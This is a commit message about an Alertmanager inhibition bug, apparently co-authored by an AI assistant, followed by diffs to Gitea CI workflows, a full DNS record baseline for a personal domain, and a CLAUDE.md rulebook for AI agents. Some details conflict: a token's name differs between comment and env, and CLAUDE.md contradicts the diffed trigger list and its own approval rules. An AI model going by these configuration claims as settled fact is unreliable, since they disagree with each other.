fix(obs): the deploy notification was inhibited before it could send

FluxRolloutInProgress fired correctly on the first real deploy and its mail
was suppressed before Alertmanager dispatched it. One label was wrong.

kube-prometheus-stack ships general.rules -> InfoInhibitor:

  group by (namespace) (ALERTS{severity="info"} == 1)
    unless on (namespace) group by (namespace)
      (ALERTS{alertname!="InfoInhibitor", alertstate="firing",
              severity=~"warning|critical"} == 1)

which fires for any namespace holding a firing info alert AND NOTHING ELSE
wrong in it, and the chart's third inhibit_rule (source alertname=InfoInhibitor
-> target severity="info", equal [namespace]) then drops exactly that alert.

For a deploy notification that is the worst possible interaction, because the
suppressed case is the ONLY case that matters: on a healthy rollout of a healthy
cluster flux-system holds no warning or critical alert, so the notification is
inhibited precisely when it is wanted, and would arrive only when something else
in flux-system was already broken. Measured on prod: InfoInhibitor went active
2026-09-30T04:58:48Z, the same moment the alert began firing for 12
Kustomizations, and amtool showed no FluxRolloutInProgress in Alertmanager
either active or --inhibited, with zero send failures.

Upstream's intent is explicit and fair: severity "info" means "only worth
showing next to a real problem". A deploy notice is not that, so it must not
claim that severity. FluxRolloutInProgress now carries `notification: deploy`
and no severity at all, and the route matches on that label — no inhibit_rule
in the chart targets anything but severity values, and omitting severity also
stops InfoInhibitor firing for flux-system rather than merely working around it.
FluxRolloutStuck keeps severity: warning and is unaffected.

Also verified on prod in the process, all previously UNVERIFIED: the 33 metric
series exist exactly as designed, the `revision` label IS populated (so the
lastAppliedRevision/artifact.revision paths are right), the podAnnotations roll
forced a new KSM pod, and the rule both fired for 12 lagging Kustomizations and
then CLEARED on convergence — the completion signal's whole mechanism, on real
data. Routing proven by `amtool config routes test notification=deploy` ->
email-deploy.

Still unverified: no mail observed in the inbox. The 226->227 email counter
increment during the window cannot be attributed (no receiver label, other
alerts active), and I am not claiming it either way. See the handoff entry.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

.gitea/workflows/README.md

@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
 ## The pipeline
 
 ```
- lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
+ decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
  └──────────────── run in CI, NO cluster ────────────────┘        └── in-cluster Chainsaw Job ──┘
                     live now                              cluster-gated (SKIPS in Phase 0)
 ```
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
 *collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
 (`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
 
-## Honest SKIP — never fake green (Phase 0)
+## Honest SKIP — never fake green
 
-**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
+**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
+exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
+skip logic below is still correct and still honest, but read it as describing a **live
+coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
+phrased as a phase is part of why the gap went unexamined.
+
+Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
 they do not pass**:
 
 - The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
 ## Triggers & branch model (CONTRIBUTING.md)
 
 - `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
-- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
+- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
+  so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
+  **No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
+  protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
 
-## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
+## Transition: COMPLETE (2026-09-29)
 
-Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
-[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
+This section used to describe a migration as pending. It has happened. Gitea is live at
+`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
+`gate.yml` runs on every PR.
 
-1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
-   but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
-   local feature-branch → `main`, the gate enforced by convention + the local runner.
-2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
-3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
-   enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
-   `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
-   **platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
+**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
+anyone checking the platform. In reality `main` had **no branch protection** and **zero
+runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
+between rested on an assertion nobody verified. PR #1 — the first pull request this
+repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
+
+So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
+Query the API. `infra/gitea/` holds the scripts and the measured state.
+
+Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
+`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
+CI. That is a real coverage gap, not a phase.
 
 ## Configuration (set in Gitea; referenced by name only)
 

.gitea/workflows/gate.yml

@@ -1,40 +1,74 @@
 # .gitea/workflows/gate.yml — the ENFORCED PR merge gate (Phase 6, WS-GITOSS).
 #
 # This is the LIVE gate wired to the in-cluster Gitea Actions runner (ns gitea-actions,
-# Docker executor + DinD). It invokes the AGGREGATE merge gate — `make -C ci gate` — so CI
-# runs BYTE-FOR-BYTE the same command a human runs in the devcontainer (R-TEST-02): the
-# runner just installs the pinned tools from ci/versions.env first. `make -C ci gate`
-# (ci/gate.sh) runs every stage in order — spec-immutability, lint, Kyverno L0,
-# render==golden, L1 offline render — and applies the R-TEST-03 decision, printing
-# "MERGE GATE: PASS" / "MERGE GATE: BLOCKED". It is the single required status check on
-# `main` (see branch protection). A non-zero exit fails the job, so a BLOCKED gate blocks
-# the merge.
+# Docker executor + DinD). It invokes the AGGREGATE merge gate — `./ci/gate.sh`, which is
+# exactly what `make -C ci gate` runs, so CI and the devcontainer gate the same way
+# (R-TEST-02): the runner just installs the pinned tools from ci/versions.env first (and see
+# below for why the script, not `make`, is invoked here). It runs every stage in order —
+# spec-immutability, lint, Kyverno L0, render==golden, L1 offline render — and then applies the
+# R-TEST-03 decision, printing
+# "MERGE GATE: PASS" (0) / "BLOCKED" (1) / "UNDETERMINED" (3) / "NOT APPLICABLE" (0). It is the
+# single required status check on `main` (see branch protection). A non-zero exit fails the job,
+# so a BLOCKED gate blocks the merge.
+#
+# WHY THIS STEP DECLARES GATE_STRICT_SKIPS AND TOLERATES EXIT 3 (2026-09-13). A SKIPPED stage is
+# never green, and since 2026-09-13 gate.sh refuses to print PASS when one did not run (it used to
+# print "— not green" and then "MERGE GATE: PASS", exit 0 — fail-open in the gate itself). Two
+# kinds of non-run must be told apart HERE, in the caller, because only the caller knows which
+# environment it is:
+#   * a pinned tool missing or a seam unwired ON THIS RUNNER is a DEFECT — the toolchain is
+#     installed for us two steps up. GATE_STRICT_SKIPS=true DECLARES that (no env sniffing, no
+#     "does this look like CI?" heuristic) and makes those skips exit 1: untolerated, job fails.
+#   * spec-immutability CANNOT be verified here at all: the spec repo is a separate repo and is
+#     not checked out into this runner (SPEC_REPO_SLUG unwired; blueprint in merge-gate.yaml). It
+#     is the ONLY skip that can still reach exit 3 under strict skips, which is what makes
+#     `|| [ "$?" -eq 3 ]` a narrow, reviewed tolerance rather than a blanket one. The log still
+#     says UNDETERMINED and names R-TEST-06 as unverified. Wire the spec checkout (or set
+#     REQUIRE_SPEC_VERIFICATION=true) and this tolerance should be deleted.
+# Called DIRECTLY, not through `make`: GNU make reports any recipe failure as its own exit 2, so
+# `make -C ci gate || [ "$?" -eq 3 ]` would see 2 and fail the job. Same reason the
+# spec-immutability pre-step below calls the script directly.
 #
 # The cluster-gated L2/L3 conformance stage SKIPS honestly here (exit 3, surfaced not faked
-# — HARD RULE 4) because this runner declares no cluster: `make -C ci gate` does not set
-# CLUSTER_AVAILABLE, so gate.sh reports the touched requirements UNVERIFIED without blocking
-# Phase-0/6 static work. L2/L3 run as an IN-CLUSTER Chainsaw Job (its own scoped SA; CI holds
+# — HARD RULE 4) because this runner declares no cluster: nothing here sets CLUSTER_AVAILABLE,
+# so gate.sh reports the touched requirements UNVERIFIED — and NAMES that declared gap in its
+# PASS headline — without blocking Phase-0/6 static work. L2/L3 run as an IN-CLUSTER Chainsaw Job (its own scoped SA; CI holds
 # no broad kubeconfig) driven by the separate `conformance` job below.
 #
 # NOTE (R-TEST-06 / gate-semantics): spec-immutability is ALSO surfaced as its own explicit
 # early step (below) so its result is a distinct, tolerant status in the Gitea UI; gate.sh
-# re-runs it as its first stage, which is the authoritative one. `make -C ci gate` here is
-# the byte-identical laptop gate; the extra pre-step is a read-only git-diff check and is
+# re-runs it as its first stage, which is the authoritative one. The gate step below is the
+# same script the laptop runs; the extra pre-step is a read-only git-diff check and is
 # purely additive. The full pipeline blueprint (spec-checkout, per-layer jobs, decision job)
 # is retained dormant in merge-gate.yaml.
 ---
 name: gate
 
+# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
+#
+# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
+# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
+#
+#   * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
+#     SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
+#     clock on the one result that actually gates the merge. That cost real time during the
+#     2026-09-29 plex claim, where the loop is racing a short-lived token.
+#   * The list silently did not match this repo's own convention. Branches here are `feat/**`,
+#     which was absent, so the "fast feedback" never fired for the most common prefix anyway —
+#     a mismatch nobody noticed for a month because its only symptom was a MISSING run.
+#     Any hand-maintained prefix list has that failure mode; deleting it removes the class.
+#   * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
+#     you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
+#     same checks buys nothing.
+#
+# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
+# which no PR context exists.
 on:
   pull_request:
     branches: [main]
   push:
     branches:
       - main
-      - 'feature/**'
-      - 'fix/**'
-      - 'docs/**'
-      - 'chore/**'
 
 concurrency:
   group: gate-${{ github.ref }}
@@ -69,13 +103,39 @@ jobs:
       - name: Spec immutability (R-TEST-06, skips if spec repo absent)
         run: ./ci/spec-immutability.sh || [ "$?" -eq 3 ]
 
-      # Aggregate merge gate: byte-for-byte the command a human runs in the devcontainer
-      # (`make -C ci gate` -> ci/gate.sh). Runs spec-immutability, lint, Kyverno L0,
-      # render==golden and L1 render, then the R-TEST-03 decision. Exits non-zero on a
-      # BLOCKED gate, which fails this job. The cluster-gated L2/L3 stage SKIPS here (no
-      # CLUSTER_AVAILABLE) — surfaced as UNVERIFIED, never faked green (see header).
-      - name: Merge gate — make -C ci gate
-        run: make -C ci gate
+      # Aggregate merge gate: the same script a human runs in the devcontainer via
+      # `make -C ci gate`. Runs spec-immutability, lint, Kyverno L0, render==golden and L1
+      # render, then the R-TEST-03 decision. Exits non-zero on a BLOCKED gate, which fails this
+      # job. The cluster-gated L2/L3 stage SKIPS here (no CLUSTER_AVAILABLE) — surfaced as
+      # UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
+      # tolerated exit 3 are explained in the file header; the tolerance covers exactly one
+      # thing, the unverifiable spec repo, and nothing else can produce a 3 here.
+      # GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
+      # OWN database (branch protection + runner registration) — the blind spot that let `main`
+      # sit unprotected with zero runners for a month while this repo recorded both as working.
+      # Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
+      #
+      # WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
+      # (spec-immutability). It now also covers gitea-settings skipping when that secret is
+      # absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
+      # every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
+      # exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
+      # tolerance narrows back to spec-immutability alone.
+      - name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
+        env:
+          GATE_STRICT_SKIPS: "true"
+          SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
+          # ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
+          # UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
+          # skipping, this line turns that into a failure and the PR goes red instead of
+          # merging. Green here means the token resolved and the live Gitea matched the
+          # declaration in infra/gitea/expected-branch-protection.json.
+          REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
+        run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
       # ("not supported on GHES" — Gitea does not implement the artifact-v2 backend), which

.gitea/workflows/merge-gate.yaml

@@ -11,11 +11,14 @@
 #                                          v
 #                                     merge-gate decision  [R-TEST-03: touched subset green]
 #
-# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
-# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
-# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
-# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
-# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
+# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
+# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
+# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
+# as a plan and never revisited once the plan completed.
+#
+# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
+# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
+# statement about the live platform; query the API instead (see infra/gitea/).
 #
 # CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
 # scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a

.standup-dns/dns-20260914-pre-externaldns-scope.txt

@@ -0,0 +1,97 @@
+# RECOVERY BASELINE — the COMPLETE Cloudflare record set for zone `keithjackson.dev`
+# as it stood IMMEDIATELY BEFORE feat/externaldns-scope-public-only is applied.
+#
+# WHY THIS FILE EXISTS. The branch that adds it changes which resources ExternalDNS considers,
+# and ExternalDNS runs `policy: sync` — a record whose source stops matching is DELETED, not
+# merely left alone. That is a one-way, outward-facing operation against a live authoritative
+# zone, so the pre-state is captured and committed BEFORE the change lands, and any record the
+# reconcile removes can be restored by hand from this file. It is the same discipline as
+# dns-before.txt / dns-verify.txt / dns-post-l2.txt beside it, applied to a destructive-capable
+# change rather than to a migration.
+#
+# CAPTURED 2026-09-14 from the Cloudflare API (GET /zones/<id>/dns_records, all pages) using the
+# SOPS-encrypted token in platform/externaldns/cloudflare-api-token.sops.yaml. Read at the
+# AUTHORITY, not through a resolver: 1.1.1.1 served stale answers for minutes after the
+# 2026-09-13 apex flip and must not be trusted for this. `dig` is on the host but NOT in the
+# devcontainer, which has previously produced false "no records" readings — the API is the only
+# reading that is both complete and authoritative.
+#
+# FORMAT (5 fields, `|`-separated) — wider than the sibling files on purpose: a restore needs the
+# TTL and the proxy flag, not just the value.
+#
+#   <type>|<name>|<content>|<ttl>|<proxied>
+#
+# ttl 1 = Cloudflare "Automatic". proxied false = DNS-only (grey cloud), which every record here
+# is; a restore that flips one to proxied would put Cloudflare's edge in front of a LAN address.
+#
+# 39 records. 36 of them are ExternalDNS-managed (18 A + their 18 `a-`-prefixed TXT registry
+# entries), every one registered `external-dns/owner=prod` — i.e. THIS cluster owns them, which
+# is why this cluster's reconcile is able to delete them. The remaining 3 belong to the legacy
+# non-k3s stack and carry NO TXT registry entry, so no owner id claims them and ExternalDNS
+# cannot touch them regardless of what this branch does:
+#
+#   *.keithjackson.dev            -> 136.51.115.252   legacy stack (the zone wildcard)
+#   brickbreak.keithjackson.dev   -> 20.236.242.14    unrelated, off-prem
+#   dev.brickbreak…               -> 20.236.242.14    unrelated, off-prem
+#
+# NOTE there is NO `*.home.keithjackson.dev` wildcard in the zone any more (the comment in
+# clusters/prod/kustomization.yaml still says the zone has both wildcards; it does not, as of
+# this capture). A single-label wildcard does not match two labels, so `*.keithjackson.dev` does
+# NOT cover `<svc>.home.keithjackson.dev`: when a specific `<svc>.home` record is removed, that
+# name goes to NXDOMAIN publicly rather than falling back to the legacy IP. That is the intended
+# end state for `internal` services and it is also precisely why Pi-hole must already be
+# answering the LAN authoritatively before this branch merges.
+#
+# WHICH OF THESE THIS BRANCH DELETES — the 12 rows for the six `exposure: internal` catalog
+# services (jackett, pihole, qbittorrent, radarr, semaphore, sonarr): each one's A record and its
+# `a-`-prefixed TXT registry entry. Nothing else. Verified live on prod against the deployed
+# v0.21.0 with a throwaway hostname before any of this was authored: adding the annotation to an
+# HTTPRoute that already had a published record produced
+# `action=DELETE record=... type=A` and `action=DELETE record=a-... type=TXT` one reconcile
+# interval (~60s) later, and nothing else in the zone moved.
+#
+# TO RESTORE ONE ROW BY HAND (both halves, or ExternalDNS will not recognise the record as its
+# own): recreate the A record with its value/ttl/proxied from this file, then recreate the
+# matching `a-<name>` TXT with its content VERBATIM — the `heritage=…,external-dns/owner=prod,
+# external-dns/resource=…` string is what re-establishes ownership. An A record restored without
+# its TXT is unowned and will not be reconciled; a TXT restored with a wrong `resource=` value
+# points the registry at a source object that does not exist.
+A|*.keithjackson.dev|136.51.115.252|1|false
+A|auth.home.keithjackson.dev|192.168.2.20|1|false
+A|brickbreak.keithjackson.dev|20.236.242.14|1|false
+A|crafty-mc.home.keithjackson.dev|192.168.2.22|1|false
+A|crafty.home.keithjackson.dev|192.168.2.20|1|false
+A|dev.brickbreak.keithjackson.dev|20.236.242.14|1|false
+A|gitea.home.keithjackson.dev|192.168.2.20|1|false
+A|grafana.home.keithjackson.dev|192.168.2.20|1|false
+A|headlamp.home.keithjackson.dev|192.168.2.20|1|false
+A|home.keithjackson.dev|192.168.2.20|1|false
+A|jackett.home.keithjackson.dev|192.168.2.20|1|false
+A|keycloak.home.keithjackson.dev|192.168.2.20|1|false
+A|nextcloud.home.keithjackson.dev|192.168.2.20|1|false
+A|pihole.home.keithjackson.dev|192.168.2.20|1|false
+A|plex.home.keithjackson.dev|192.168.2.20|1|false
+A|qbittorrent.home.keithjackson.dev|192.168.2.20|1|false
+A|radarr.home.keithjackson.dev|192.168.2.20|1|false
+A|seerr.home.keithjackson.dev|192.168.2.20|1|false
+A|semaphore.home.keithjackson.dev|192.168.2.20|1|false
+A|sonarr.home.keithjackson.dev|192.168.2.20|1|false
+A|unifi.home.keithjackson.dev|192.168.2.21|1|false
+TXT|a-auth.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/oauth2-proxy/oauth2-proxy"|1|false
+TXT|a-crafty-mc.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/crafty/crafty-l4-tcp"|1|false
+TXT|a-crafty.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/crafty/crafty"|1|false
+TXT|a-gitea.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/gitea/gitea-3000"|1|false
+TXT|a-grafana.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/monitoring/grafana"|1|false
+TXT|a-headlamp.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/headlamp/headlamp"|1|false
+TXT|a-home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/homepage/homepage"|1|false
+TXT|a-jackett.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/jackett/jackett-9117"|1|false
+TXT|a-keycloak.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/keycloak/keycloak"|1|false
+TXT|a-nextcloud.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/nextcloud/nextcloud-80"|1|false
+TXT|a-pihole.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/pihole/pihole-80"|1|false
+TXT|a-plex.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/plex/plex-32400"|1|false
+TXT|a-qbittorrent.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/qbittorrent/qbittorrent-8080"|1|false
+TXT|a-radarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/radarr/radarr-7878"|1|false
+TXT|a-seerr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/seerr/seerr-5055"|1|false
+TXT|a-semaphore.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/semaphore/semaphore-3000"|1|false
+TXT|a-sonarr.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=httproute/sonarr/sonarr-8989"|1|false
+TXT|a-unifi.home.keithjackson.dev|"heritage=external-dns,external-dns/owner=prod,external-dns/resource=service/unifi/unifi-l4-tcp"|1|false

CLAUDE.md

@@ -0,0 +1,192 @@
+# CLAUDE.md — how work lands in this repo
+
+Read this before doing anything durable. It is the delivery contract for AI coding
+sessions and agents. The newest entry in `decisions/` is the current PM handoff and
+takes precedence on *what* to work on; this file governs *how* it lands.
+
+## 1. Never push to `main`. Ever.
+
+Every durable change reaches `main` exactly one way:
+
+    branch  ->  push the branch  ->  open a PR  ->  CI gate green  ->  human approval  ->  merge
+
+There is no other path. Specifically:
+
+- **Do not `git push origin main`.**
+- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
+- **Do not merge your own PR.** See the approval model below — and either way, the merge is
+  someone else's action, never yours.
+
+### Who approves
+
+**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
+branch requires no human approval for one. That is a deliberate transfer of authority, on the
+operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
+good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
+add a human.
+
+**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
+admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
+approving review from someone who is not its author. The reason is narrow and structural — **a
+change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
+the weakened check. Everything else merges on green.
+
+The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
+sensitive path, so the policy cannot be widened or narrowed without a human.
+
+That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
+missing credential is a lock-out, here a skip would be a bypass.
+- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
+  anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
+
+> **Many runbooks under `runbooks/` still say `git push origin main` IS the deploy.**
+> That wording is **stale** — it predates the PR flow. It describes what Flux does
+> (main is what the cluster follows), not what you are permitted to do. Honour this
+> file, not that line. Fixing those runbooks is tracked work.
+
+## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
+
+Verified against the live Gitea on 2026-09-29:
+
+| Expected | Actual |
+|---|---|
+| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
+| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
+| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
+| Approval required before merge | ✅ `required_approvals: 1` |
+
+All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
+true. They are true now because each was measured, and the push rejection was provoked rather
+than assumed. **Re-measure before relying on any of them** — see §2b.
+
+Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
+CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
+
+**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
+the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
+strength of a check you have not seen report — and note that a **skipped** Gitea job
+reports as `success`, so a green tick is not by itself evidence that anything ran.
+
+## 2b. Never infer platform state from this repository
+
+**This repo is not evidence about the live platform.** Neither is the handoff log
+(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
+believed at the time of writing, and both have been confidently wrong for a month at a
+stretch.
+
+On 2026-09-29 the log stated the merge gate was a required status check with a runner
+online. The API said `branch_protections: []` and **zero** runners. Everything downstream
+of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
+was wrong, and nothing in the tree could have revealed it, because the tree was the source
+of the error.
+
+**So, before asserting that any gate, protection, runner, secret, or workload is in a
+given state: query the thing itself.**
+
+| Claim about... | Check |
+|---|---|
+| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
+| a runner exists | `GET /api/v1/admin/actions/runners` |
+| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
+| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
+| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
+
+Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
+"unverified" is a legitimate report, and a far better one than a confident guess that
+matches the docs.
+
+**A green tick is not proof anything ran.** Read what actually executed.
+
+## 3. Gate before you push
+
+    ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+
+Exit codes are a contract — do not flatten them:
+
+| rc | Meaning |
+|---|---|
+| 0 | PASS |
+| 1 | BLOCKED — something failed |
+| 3 | UNDETERMINED — a stage did not run. **Never report this as green.** |
+
+`spec-immutability` reaches rc 3 whenever the sibling spec repo is not checked out
+beside this one; that single skip is expected and tolerated. Any *other* skip is a
+real gap in your run.
+
+**Never gate on the host.** `promtool` and `kustomize` are not on the host `$PATH`,
+so checks SKIP and you get a false rc 3. Only the pinned toolbox result counts.
+
+### Running the gate from a git worktree
+
+Two unrelated failures, both with known workarounds — put both in any agent brief:
+
+1. **`dev.sh` refuses to start:** `infra/ansible/.cache/prod.kubeconfig` is untracked
+   and exists only in the main checkout. Do **not** copy it (it is a credential).
+   Use `DEV_KUBECONFIG=/dev/null` — the gate contacts no cluster, so L2/L3 scaffold-skip
+   normally.
+2. **Every `git` call inside the container fails:** a worktree's `.git` is a pointer to a
+   gitdir outside the mounted root. `dev.sh` takes no extra-mount flag, so inject one via
+   the `ENGINE` hook — a shim that intercepts `run` and re-execs
+   `podman run -v /path/to/main/.git:/path/to/main/.git:ro "$@"`. A traceback in
+   `tracked_files()` is this bug, not a broken tree.
+
+## 4. Branch naming
+
+Use `feat/`, `fix/`, `docs/`, `chore/`. Note that `.gitea/workflows/gate.yml`'s **push**
+trigger lists `feature/**` — not `feat/**` — so branch pushes get no fast-feedback run.
+The `pull_request` trigger fires regardless of branch name, so the PR gate is unaffected.
+
+## 5. Cluster access
+
+`kubectl` does not work on the operator workstation; the toolchain lives only in the
+pinned container. Always name the context explicitly:
+
+    ./infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get nodes'
+
+`dev.sh` merges both clusters and picks a current-context **per invocation**; that
+default has already changed once. Never rely on it. Do not run two `dev.sh`
+invocations concurrently.
+
+**Mutating `kubectl` and `flux reconcile` are operator actions, not agent actions.**
+
+## 6. Secrets
+
+- **Never `sops -d` a file into a terminal, a log, or a transcript.**
+- **Never print a Secret's `.data`/`.stringData`** when checking whether it exists —
+  list key names or object names only. A password has been leaked into a transcript
+  this way before.
+- Encrypted files are `*.sops.yaml` or live under `secrets/`. The root `.sops.yaml` is
+  the single creation-rules file; do not add a second one in a subtree.
+- A short-lived credential (e.g. a plex.tv claim token, ~minutes) cannot survive the PR
+  flow. Do not design around committing one — read the expiry from the issuing page and
+  treat a burnt token as free to retry.
+
+## 7. Before you finish — write a handoff entry, in its OWN file
+
+Add **one new file**:
+
+    decisions/YYYY-MM-DD-<slug>.md          <slug> = your branch's last segment
+
+with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
+
+    ## What changed
+    ## What I verified
+    ## What I did NOT verify
+
+State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
+and this repo has already been burned by the difference. All three headings are
+**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
+Template and full rationale: `decisions/README.md`.
+
+**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
+SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
+to it. Appending to its tail is what every agent used to do, and because every branch
